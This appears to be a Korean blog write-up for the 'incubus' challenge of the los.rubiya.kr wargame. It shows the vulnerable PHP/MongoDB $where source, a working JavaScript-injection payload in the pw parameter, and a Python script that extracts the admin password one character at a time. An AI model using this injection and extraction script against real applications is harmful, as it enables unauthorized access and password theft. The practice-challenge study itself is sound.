웹찢남

Incubus-writeup 본문

WEB_HACKING/los.rubiya.kr

Incubus-writeup

harry595 2020. 1. 31. 22:46

<?php
  
include "./config.php";
  
login_chk();
  
$db mongodb_connect();
  if(
preg_match('/prob|_|\(/i'$_GET['id'])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\(/i'$_GET['pw'])) exit("No Hack ~_~");
  
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo 
"<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  
$result mongodb_fetch_array($db->prob_incubus->find($query));
  if(
$result['id']) echo "<h2>Hello {$result['id']}</h2>";

  
$query = array("id" => "admin");
  
$result mongodb_fetch_array($db->prob_incubus->find($query));
  if(
$result['pw'] === $_GET['pw']) solve("incubus");
  
highlight_file(__FILE__);
?>

 

 

이번 문제는 딱보고 든 생각이 지난 문제랑 비슷한데? 였는데 역시나 아니었다 ㅎ...

 

https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id[$gt]=admin&pw=123

query : {"$where":"function(){return obj.id=='Array'&&obj.pw=='123';}"}

 

아까처럼 풀어보려고 했는데 역시나 obj.id=='Array' 이런 식으로 나온다..

근데 그러고 보니 이번 문제는 "로 묶이지 않고 '로 묶였다!!

이러면 '로 앞 내용을 묶어버리고 뒤에 내용을 추가 할 수 있겠다는 생각이 들어서 아래와 같은 payload를 보내니

 

https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id[$gt]=admin&pw=%27%20||%20obj.id==%27admin%27%20%26%26%20obj.pw%3E=%27111 

Hello admin

나왔다! 이런 식으로 접근하면 되겠구나 하며 스크립트를 작성했다.

 

import re
import requests
import time

test='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
length= 0
session =dict(PHPSESSID="자신의PHPSESSID")
for i in range (1,20):
        for j in test:
                        r=requests.post("https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id=admin&pw=%27%20||%20obj.id==%27admin%27%20%26%26%20obj.pw>=%27"+flag+j,cookies=session)
                        if 'Hello admin' not in r.text:
                                if j.isdigit():
                                        flag=flag+str(int(j)-1)
                                        print("finding pw: "+flag)
                                        break
                                else:
                                        flag=flag+chr(ord(j)-0x01)
                                        print("finding pw: "+flag)
                                        break
print("pw "+flag)

 

CLEAR!!!

하나 남았다!!!
                

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

ALLCLEAR!!!-writeup  (0) 2020.01.31
siren-writeup  (0) 2020.01.31
cerberus-writeup  (0) 2020.01.31
Kraken-writeup  (0) 2020.01.31
mummy-writeup  (0) 2020.01.31
Comments